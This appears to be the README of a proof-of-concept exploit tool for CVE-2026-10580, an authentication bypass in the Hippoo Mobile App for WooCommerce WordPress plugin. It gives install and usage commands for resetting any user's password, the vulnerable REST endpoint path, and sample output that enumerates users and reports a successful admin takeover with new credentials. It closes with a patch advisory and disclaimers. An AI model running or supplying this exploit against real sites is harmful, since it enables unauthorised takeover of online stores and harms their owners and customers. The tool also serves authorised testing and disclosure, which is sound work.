
PoC exploit for CVE-2026-10580 - Authentication Bypass in Hippoo Mobile App for WooCommerce <= 1.9.4 leading to Admin Account Takeover
This tool is a proof-of-concept exploit for CVE-2026-10580, an authentication bypass vulnerability affecting the Hippoo Mobile App for WooCommerce WordPress plugin (versions <= 1.9.4). The vulnerability allows unauthenticated attackers to reset any user's password, including administrators, leading to full site takeover.
⚠️ Important: This tool is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
requests libraryInstall dependencies:
pip install requests
python3 exploit.py -t https://target-site.com -p NewPassword123!
Exploit with default admin ID (1) and SSL verification:
python3 exploit.py -t https://example.com -p PwnedCVE2026!!
Target a specific user ID and disable SSL verification:
python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k
Run without the banner:
python3 exploit.py -t https://example.com -p NewPass123 --no-banner
[+] Found 3 user(s)
- User ID: 1 | Username: admin | Role: administrator
- User ID: 2 | Username: editor_user | Role: editor
- User ID: 3 | Username: subscriber1 | Role: subscriber
╔══════════════════════════════════════════════════════════════╗
║ ADMIN TAKEOVER SUCCESSFUL ║
╚══════════════════════════════════════════════════════════════╝
Target: https://example.com
Login: https://example.com/wp-admin
Username: admin
Password: PwnedCVE2026!!
If you are using the Hippoo plugin, update it immediately to a patched version (>1.9.4). Additionally:
/wp-json/wc-hippoo/v1/ext/wp/v2/usersThis project is licensed under the MIT License. See the LICENSE file for details.
0xgh057r3c0n
The author is not responsible for any misuse of this tool. Use responsibly and only on systems you own or have explicit permission to test.
| Argument | Description |
|---|
-t, --target | Target WordPress site URL (e.g., https://example.com) |
-p, --password | New password to set for the admin account |
-i, --id | User ID to takeover (default: 1) |
-k, --insecure | Skip SSL certificate verification |
--no-banner | Suppress the ASCII banner |